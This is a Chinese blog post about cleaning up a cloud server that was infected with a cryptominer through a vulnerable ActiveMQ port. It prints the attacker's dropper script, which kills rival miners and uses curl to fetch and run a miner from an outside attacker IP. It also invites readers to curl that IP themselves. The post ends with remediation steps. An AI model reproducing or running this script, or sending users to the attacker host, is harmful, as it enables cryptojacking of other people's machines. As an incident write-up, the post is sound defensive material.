服务器被植入木马,CPU飙升200%

作者:我叫刘半仙
https://my.oschina.net/liughDevelop/blog/1786631

线上服务器用的是某云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序。突然一则噩耗从前线传来:网站不能访问了!

此项目是我负责,我以150+的手速立即打开了服务器,看到Tomcat挂了,然后顺其自然的重启,启动过程中直接被killed,再试试数据库,同样没成功

多次尝试甚至重启机器无果。机智的我打了个top,出现以下内容:

服务器被植入木马,CPU飙升200%

这是谁运行的程序?

不管三七二十一先杀掉再说,因为它就是Tomcat等程序启动不了的元凶。然而并没有什么卵用,过一会再看那个东西又跑出来占cpu。推荐阅读:Linux 最常用命令整理,建议收藏

怀疑是个定时任务:

服务器被植入木马,CPU飙升200%

什么鬼,是个图片?立即访问了一下:

服务器被植入木马,CPU飙升200%

好尴尬,但是心思细腻的我早知道没这么简单,肯定只是伪装,curl过去是下面的脚本,过程就是在挖矿:

#!/bin/sh
pkill?-9?142.4.124.164
pkill?-9?192.99.56.117
pkill?-9?jva
pkill?-f?./atd
pkill?-f?/tmp/wa/httpd.conf
pkill?-f?108.61.186.224
pkill?-f?128.199.86.57
pkill?-f?67.231.243.10
pkill?-f?142.4.124.164
pkill?-f?192.99.56.117
pkill?-f?45.76.102.45
pkill?-f?AnXqV.yam
pkill?-f?BI5zj
pkill?-f?Carbon
pkill?-f?Duck.sh
pkill?-f?Guard.sh
...中间省略
/sbin/sysctl?-w?vm.nr_hugepages=`$num`
nohup?./suppoie?-c?config.json?-t?`echo?$cores`?>/dev/null?&
fi
ps?-fe|grep?-w?suppoie?|grep?-v?grep
if?[?$??-eq?0?]
then
pwd
else
curl?-o?/var/tmp/config.json?http://192.99.142.235:8220/1.json
curl?-o?/var/tmp/suppoie?http://192.99.142.235:8220/rig1
chmod?777?/var/tmp/suppoie
cd?/var/tmp
proc=`grep?-c?^processor?/proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl?-w?vm.nr_hugepages=`$num`
nohup?./suppoie?-c?config.json?-t?`echo?$cores`?>/dev/null?&
sleep?3
fi
if?[?$??-eq?0?]
then
pwd
else
curl?-o?/var/tmp/config.json?http://192.99.142.235:8220/1.json
curl?-o?/var/tmp/suppoie?http://192.99.142.235:8220/rig2
chmod?777?/var/tmp/suppoie
cd?/var/tmp
proc=`grep?-c?^processor?/proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl?-w?vm.nr_hugepages=`$num`
nohup?./suppoie?-c?config.json?-t?`echo?$cores`?>/dev/null?&
fi
echo?"runing....."

有兴趣的同学想查看以上完整源代码,命令行运行下面指令(不分操作系统,方便安全无污染):

curl?192.99.142.235:8220/logo3.jpg

既然知道它是个定时任务,那就先取消了它,并且看看它是谁在运行:

服务器被植入木马,CPU飙升200%

杀掉,找到存放目录:

服务器被植入木马,CPU飙升200%

进入临时目录:

服务器被植入木马,CPU飙升200%

被我发现配置文件了,先来看看内容:

服务器被植入木马,CPU飙升200%

虎躯一震,发现了不少信息啊!

user是他的server的登录用户,下面是密码,只可惜加密过,应该找不到对方。算了,大度的我先不和你计较。

干掉这两个文件后再查看top:

服务器被植入木马,CPU飙升200%

解决办法

找到寄生的目录,一般都会在tmp里,我这个是在/var/tmp/。首先把crontab干掉,杀掉进程,再删除产生的文件。启动Tomcat等程序,大功告成!

等等,这远远不够,考虑到能被拿去挖矿的前提下你的服务器都已经被黑客入侵了,修复漏洞才对

不然你杀掉进程删掉文件后,黑客后门进来history一敲,都知道你做了啥修复手段。

所以上面办法治标不治本,我后续做了以下工作:

  1. 把所有软件升级到新版本

  2. 修改所有软件默认端口号

  3. 打开ssh/authorized_keys, 删除不认识的密钥

  4. 删除用户列表中陌生的帐号

  5. 封了他的ip

  6. SSH使用密钥登录并禁止口令登录(这个一般是加运维一个人的秘钥)

对了,本次遭受攻击是低版本ActiveMP开放端口61616有漏洞,大家记得做优化。

滔哥给提供了最好的方式:将主机镜像、找出病毒木马、分析入侵原因、检查业务程序、重装系统、修复漏洞、再重新部署系统。

写在最后

网友提供的一劳永逸终极解决办法:把你自己的挖矿脚本挂上去运行,这样别人就算挂脚本也跑不起来了。

推荐去我的博客阅读更多:

1.Java JVM、集合、多线程、新特性系列教程

2.Spring MVC、Spring Boot、Spring Cloud 系列教程

3.Maven、Git、Eclipse、Intellij IDEA 系列工具教程

4.Java、后端、架构、阿里巴巴等大厂最新面试题

觉得不错,别忘了点赞+转发哦!